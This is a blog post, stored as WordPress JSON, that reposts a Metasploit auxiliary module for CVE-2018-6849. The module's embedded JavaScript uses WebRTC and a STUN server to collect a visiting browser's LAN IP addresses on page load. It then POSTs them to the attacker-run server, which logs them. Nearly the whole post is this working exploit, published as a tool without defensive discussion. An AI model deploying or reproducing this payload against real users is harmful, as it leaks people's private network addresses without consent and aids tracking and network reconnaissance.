{"id":59288,"date":"2024-08-31T22:30:18","date_gmt":"2024-08-31T19:30:18","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180629\/browser_lanipleak.rb.txt"},"modified":"2024-08-31T22:30:18","modified_gmt":"2024-08-31T19:30:18","slug":"http-client-lan-ip-address-gather","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/http-client-lan-ip-address-gather\/","title":{"rendered":"HTTP Client LAN IP Address Gather"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpServer<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;HTTP Client LAN IP Address Gather&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q(<br \/>This module retrieves a browser&#8217;s network interface IP addresses<br \/>using WebRTC.<br \/>),<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Daniel Roesler&#8217;, # JS Code<br \/>&#8216;Dhiraj Mishra&#8217; # MSF Module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2018-6849&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/net.ipcalf.com\/&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.inputzero.io\/p\/private-ip-leakage-using-webrtc.html&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-09-05&#8217;,<br \/>&#8216;Actions&#8217; =&gt; [[ &#8216;WebServer&#8217;, &#8216;Description&#8217; =&gt; &#8216;Serve exploit via web server&#8217; ]],<br \/>&#8216;PassiveActions&#8217; =&gt; [ &#8216;WebServer&#8217; ],<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;WebServer&#8217;<br \/>)<br \/>)<br \/>end<\/p>\n<p>def run<br \/>exploit # start http server<br \/>end<\/p>\n<p>def setup<br \/># code from: https:\/\/github.com\/diafygi\/webrtc-ips<br \/>@html = &lt;&lt;-JS<br \/>&lt;script&gt;<br \/>\/\/get the IP addresses associated with an account<br \/>function getIPs(callback){<br \/>var ip_dups = {};<\/p>\n<p>\/\/compatibility for firefox and chrome<br \/>var RTCPeerConnection = window.RTCPeerConnection<br \/>|| window.mozRTCPeerConnection<br \/>|| window.webkitRTCPeerConnection;<br \/>var useWebKit = !!window.webkitRTCPeerConnection;<\/p>\n<p>\/\/bypass naive webrtc blocking using an iframe<br \/>if(!RTCPeerConnection){<br \/>\/\/NOTE: you need to have an iframe in the page right above the script tag<br \/>\/\/<br \/>\/\/&lt;iframe id=&#8221;iframe&#8221; sandbox=&#8221;allow-same-origin&#8221; style=&#8221;display: none&#8221;&gt;&lt;\/iframe&gt;<br \/>\/\/&lt;script&gt;&#8230;getIPs called in here&#8230;<br \/>\/\/<br \/>var win = iframe.contentWindow;<br \/>RTCPeerConnection = win.RTCPeerConnection<br \/>|| win.mozRTCPeerConnection<br \/>|| win.webkitRTCPeerConnection;<br \/>useWebKit = !!win.webkitRTCPeerConnection;<br \/>}<\/p>\n<p>\/\/minimal requirements for data connection<br \/>var mediaConstraints = {<br \/>optional: [{RtpDataChannels: true}]};<\/p>\n<p>var servers = {iceServers: [{urls: &#8220;stun:stun.services.mozilla.com&#8221;}]};<\/p>\n<p>\/\/construct a new RTCPeerConnection<br \/>var pc = new RTCPeerConnection(servers, mediaConstraints);<\/p>\n<p>function handleCandidate(candidate){<br \/>\/\/match just the IP address<br \/>var ip_regex = \/([0-9]{1,3}(\\\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})\/<br \/>var ip_addr = ip_regex.exec(candidate)[1];<\/p>\n<p>\/\/remove duplicates<br \/>if(ip_dups[ip_addr] === undefined)<br \/>callback(ip_addr);<\/p>\n<p>ip_dups[ip_addr] = true;<br \/>}<\/p>\n<p>\/\/listen for candidate events<br \/>pc.onicecandidate = function(ice){<\/p>\n<p>\/\/skip non-candidate events<br \/>if(ice.candidate)<br \/>handleCandidate(ice.candidate.candidate);<br \/>};<\/p>\n<p>\/\/create a bogus data channel<br \/>pc.createDataChannel(&#8220;&#8221;);<\/p>\n<p>\/\/create an offer sdp<br \/>pc.createOffer(function(result){<\/p>\n<p>\/\/trigger the stun server request<br \/>pc.setLocalDescription(result, function(){}, function(){});<\/p>\n<p>}, function(){});<\/p>\n<p>\/\/wait for a while to let everything done<br \/>setTimeout(function(){<br \/>\/\/read candidate info from local description<br \/>var lines = pc.localDescription.sdp.split(&#8216;\\\\n&#8217;);<\/p>\n<p>lines.forEach(function(line){<br \/>if(line.indexOf(&#8216;a=candidate:&#8217;) === 0)<br \/>handleCandidate(line);<br \/>});<br \/>}, 1000);<br \/>}<\/p>\n<p>getIPs(function(ip){<br \/>\/\/console.log(ip);<br \/>var xmlhttp = new XMLHttpRequest;<br \/>xmlhttp.open(&#8216;POST&#8217;, window.location, true);<br \/>xmlhttp.send(ip);<br \/>});<br \/>&lt;\/script&gt;<br \/>JS<br \/>end<\/p>\n<p>def on_request_uri(cli, request)<br \/>case request.method.downcase<br \/>when &#8216;get&#8217;<br \/>print_status(&#8220;#{cli.peerhost}: Sending response (#{@html.size} bytes)&#8221;)<br \/>send_response(cli, @html)<br \/>when &#8216;post&#8217;<br \/>begin<br \/>ip = request.body<br \/>if ip =~ \/\\A([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})\\z\/<br \/>print_good(&#8220;#{cli.peerhost}: Found IP address: #{ip}&#8221;)<br \/>else<br \/>print_error(&#8220;#{cli.peerhost}: Received malformed IP address&#8221;)<br \/>end<br \/>rescue<br \/>print_error(&#8220;#{cli.peerhost}: Received malformed reply&#8221;)<br \/>end<br \/>else<br \/>print_error(&#8220;#{cli.peerhost}: Unhandled method: #{request.method}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpServer def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;HTTP Client LAN IP Address Gather&#8217;,&#8216;Description&#8217; =&gt; %q(This module retrieves a browser&#8217;s network interface IP addressesusing WebRTC.),&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;Author&#8217; =&gt; [&#8216;Daniel Roesler&#8217;, # JS Code&#8216;Dhiraj Mishra&#8217; # MSF Module],&#8216;References&#8217; =&gt; [[ &#8216;CVE&#8217;, &#8216;2018-6849&#8217; ],[ &#8216;URL&#8217;, &#8216;http:\/\/net.ipcalf.com\/&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59288","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59288","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59288"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59288\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}